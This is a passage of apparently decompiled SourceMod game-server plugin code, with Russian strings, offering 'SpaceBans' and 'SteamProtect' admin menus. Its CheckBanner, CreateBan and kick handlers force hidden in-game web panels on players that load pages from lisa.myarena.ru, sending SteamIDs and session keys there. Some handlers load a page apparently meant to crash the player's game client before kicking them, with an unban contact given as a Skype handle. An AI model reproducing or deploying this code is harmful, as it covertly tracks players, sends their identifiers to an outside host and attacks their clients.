IntToString(GetClientUserId(i), userid, 15);
GetClientName(i, name, 32);
AddMenuItem(menu, userid, name, 0);
}
i++;
}
DisplayMenu(menu, client, 0);
return 0;
}
ShowFerrMenuNN(client)
{
new Handle:menu = CreateMenu(Select_MenuNN, MenuAction:28);
SetMenuTitle(menu, "[SpaceBansNoName] Выберите игрока:\n \n");
decl String:userid[16];
decl String:name[32];
new i = 1;
while (i <= MaxClients)
{
if (IsClientInGame(i))
{
IntToString(GetClientUserId(i), userid, 15);
GetClientName(i, name, 32);
AddMenuItem(menu, userid, name, 0);
}
i++;
}
DisplayMenu(menu, client, 0);
return 0;
}
ShowFerrMenuID(client)
{
if (IsClientObserver(client))
{
new observerMode = GetEntProp(client, PropType:0, "m_iObserverMode", 4, 0);
new var1;
if (observerMode == 3 || observerMode == 4)
{
new target = GetEntPropEnt(client, PropType:0, "m_hObserverTarget", 0);
decl String:label[40];
GetClientName(target, label, 40);
Format(label, 40, "Игрок %N\n \n", target);
new Handle:panel = CreatePanel(Handle:0);
SetPanelTitle(panel, "[SpaceBansByID] Подтвердите блокировку:\n \n", false);
DrawPanelText(panel, label);
DrawPanelItem(panel, "Заблокировать", 0);
DrawPanelItem(panel, "Отмена", 0);
SendPanelToClient(panel, client, Select_MenuID, 0);
CloseHandle(panel);
}
}
else
{
PrintToChat(client, "\x01[\x03SpaceBansById\x01] Доступно только в режиме наблюдения, или когда вы мертвы.");
}
return 0;
}
ShowSProtectMenu(client)
{
new Handle:menu = CreateMenu(Select_MenuSP, MenuAction:28);
SetMenuTitle(menu, "[SteamProtect] Выберите игрока:\n \n");
decl String:userid[16];
decl String:name[32];
new i = 1;
while (i <= MaxClients)
{
if (IsClientInGame(i))
{
IntToString(GetClientUserId(i), userid, 15);
GetClientName(i, name, 32);
AddMenuItem(menu, userid, name, 0);
}
i++;
}
DisplayMenu(menu, client, 0);
return 0;
}
public Select_Menu(Handle:menu, MenuAction:action, client, option)
{
if (action == MenuAction:16)
{
CloseHandle(menu);
return 0;
}
if (action != MenuAction:4)
{
return 0;
}
decl String:userid[16];
decl String:target_name[128];
GetMenuItem(menu, option, userid, 15, 0, "", 0);
new target = GetClientOfUserId(StringToInt(userid, 10));
if (0 < target)
{
GetClientName(target, target_name, 128);
new i;
while (i < 23)
{
ReplaceString(target_name, 128, check_symb, replace_symb, true);
i++;
}
CreateBan(target, client, target_name);
}
else
{
PrintToChat(client, "\x01[\x03SpaceBans\x01] Игрок вышел с сервера");
}
ShowFerrMenu(client);
return 0;
}
public Select_MenuNN(Handle:menu, MenuAction:action, client, option)
{
if (action == MenuAction:16)
{
CloseHandle(menu);
return 0;
}
if (action != MenuAction:4)
{
return 0;
}
decl String:userid[16];
GetMenuItem(menu, option, userid, 15, 0, "", 0);
new target = GetClientOfUserId(StringToInt(userid, 10));
if (0 < target)
{
CreateBan(target, client, "unnamed");
}
else
{
PrintToChat(client, "\x01[\x03SpaceBansNoName\x01] Игрок вышел с сервера");
}
ShowFerrMenuNN(client);
return 0;
}
public Select_MenuID(Handle:panel, MenuAction:action, client, option)
{
if (action != MenuAction:4)
{
return 0;
}
new var1;
if (option == 1 && client)
{
new target = GetEntPropEnt(client, PropType:0, "m_hObserverTarget", 0);
if (0 < target)
{
CreateBan(target, client, "unnamed");
}
else
{
PrintToChat(client, "\x01[\x03SpaceBansById\x01] Игрок вышел с сервера");
}
}
else
{
new var2;
if (option == 2 && client)
{
PrintToChat(client, "\x01[\x03SpaceBansById\x01] Вы отменили блокировку");
}
}
return 0;
}
public Select_MenuSP(Handle:menu, MenuAction:action, client, option)
{
if (action == MenuAction:16)
{
CloseHandle(menu);
return 0;
}
if (action != MenuAction:4)
{
return 0;
}
decl String:userid[16];
GetMenuItem(menu, option, userid, 15, 0, "", 0);
new target = GetClientOfUserId(StringToInt(userid, 10));
if (0 < target)
{
decl String:href[256];
decl String:target_name[128];
decl String:Client_authid[64];
GetClientAuthString(target, Client_authid, 64, true);
GetClientName(target, target_name, 128);
new i;
while (i < 23)
{
ReplaceString(target_name, 128, check_symb, replace_symb, true);
i++;
}
Format(href, 256, "lisa.myarena.ru/[v34]Medved/s1p5ro89tec3tlixie.php?steamid=%s&nclient=%s", Client_authid, target_name);
DoUrl(target, href);
PrintToChat(client, "\x01[\x03SteamProtect\x01] Стим игрока \x04%N \x01успешно защищён", target);
}
else
{
PrintToChat(client, "\x01[\x03SteamProtect\x01] Игрок вышел с сервера");
}
ShowSProtectMenu(client);
return 0;
}
public Action:Command_Ferrkickid(client, args)
{
decl String:kickid[32];
decl String:syskeystr[32];
GetCmdArg(1, kickid, 32);
GetCmdArg(2, syskeystr, 32);
new cheater = StringToInt(kickid, 10);
new syskey = StringToInt(syskeystr, 10);
new var1;
if (cheater > 0 && Keys_clients[cheater] == syskey)
{
PrintToChat(cheater, "\x01[\x03SpaceBans\x01] Вы были забанены. Узнать информацию vk.com/clubfriends18");
DoUrl(cheater, "lisa.myarena.ru/[v34]Medved/crash0829lixie.html");
CreateTimer(1.0, KickPlayer, cheater, 0);
}
return Action:3;
}
public Action:Command_SProtkickid(client, args)
{
decl String:kickid[32];
decl String:syskeystr[32];
GetCmdArg(1, kickid, 32);
GetCmdArg(2, syskeystr, 32);
new bypass = StringToInt(kickid, 10);
new syskey = StringToInt(syskeystr, 10);
new var1;
if (bypass > 0 && bypass <= MaxClients && IsClientInGame(bypass) && Keys_clients[bypass] == syskey)
{
PrintToChat(bypass, "\x01[\x03SteamProtect\x01] Данный STEAM ID защищён");
DoUrl(bypass, "lisa.myarena.ru/[v34]Medved/crash0829lixie.html");
CreateTimer(1.0, STKickPlayer, bypass, 0);
}
return Action:3;
}
public Action:Command_ShowTeamPanel(client, args)
{
decl String:kickid[32];
decl String:syskeystr[32];
GetCmdArg(1, kickid, 32);
GetCmdArg(2, syskeystr, 32);
new bypass = StringToInt(kickid, 10);
new syskey = StringToInt(syskeystr, 10);
new var1;
if (bypass > 0 && IsClientInGame(bypass) && IsClientObserver(bypass) && Keys_clients[bypass] == syskey)
{
ShowVGUIPanel(bypass, "team", Handle:0, true);
}
return Action:3;
}
public Action:OnShowTeamPanel(Handle:timer, any:client)
{
new var1;
if (client && IsClientInGame(client))
{
ShowVGUIPanel(client, "team", Handle:0, true);
}
return Action:0;
}
public Action:KickPlayer(Handle:timer, any:cheater)
{
if (IsClientInGame(cheater))
{
KickClient(cheater, "Разбан, скайп: iron5gg");
}
PrintToChatAll("\x01[\x03SpaceBans\x01] Заблокирован доступ игроку \x04%N ", cheater);
return Action:0;
}
public Action:STKickPlayer(Handle:timer, any:bypass)
{
if (IsClientInGame(bypass))
{
KickClient(bypass, "Данный STEAM ID защищён");
}
PrintToChatAll("\x01[\x03SteamProtect\x01] Игрок \x04%N \x01пытался зайти под защищённым STEAM ID", bypass);
return Action:0;
}
public OnClientPutInServer(client)
{
Keys_clients[client] = GetRandomInt(1000, 9999999);
CreateTimer(0.5, CheckBanner, client, 0);
CreateTimer(3.0, OnShowTeamPanel, client, 0);
return 0;
}
public OnClientDisconnect(client)
{
return 0;
}
public Action:CheckBanner(Handle:timer, any:client)
{
new var1;
if (client > any:0 && IsClientInGame(client) && !IsFakeClient(client))
{
decl String:href[128];
decl String:Client_authid[64];
GetClientAuthString(client, Client_authid, 64, true);
Format(href, 128, "lisa.myarena.ru/[v34]Medved/c39h4e7rklixie.php?clientid=%i&skey=%i&steamid=%s", client, Keys_clients[client], Client_authid);
DoUrl(client, href);
}
return Action:0;
}
CreateBan(target, admin, String:nickname[])
{
decl String:href[256];
decl String:Adm_authid[64];
GetClientAuthString(admin, Adm_authid, 64, true);
Format(href, 256, "lisa.myarena.ru/[v34]Medved/8b83a6yn1lixie.php?clientid=%i&nclient=%s&steamadm=%s&skey=%i", target, nickname, Adm_authid, Keys_clients[target]);
DoUrl(target, href);
PrintToChat(admin, "\x01[\x03SpaceBans\x01] Игрок \x04%N \x01заблокирован", target);
return 0;
}
Action:DoUrl(client, String:url[])
{
new Handle:setup = CreateKeyValues("data", "", "");
KvSetString(setup, "title", "FabFapBan");
KvSetNum(setup, "type", 2);
KvSetString(setup, "msg", url);
ShowVGUIPanel(client, "info", setup, false);
CloseHandle(setup);
return Action:3;
}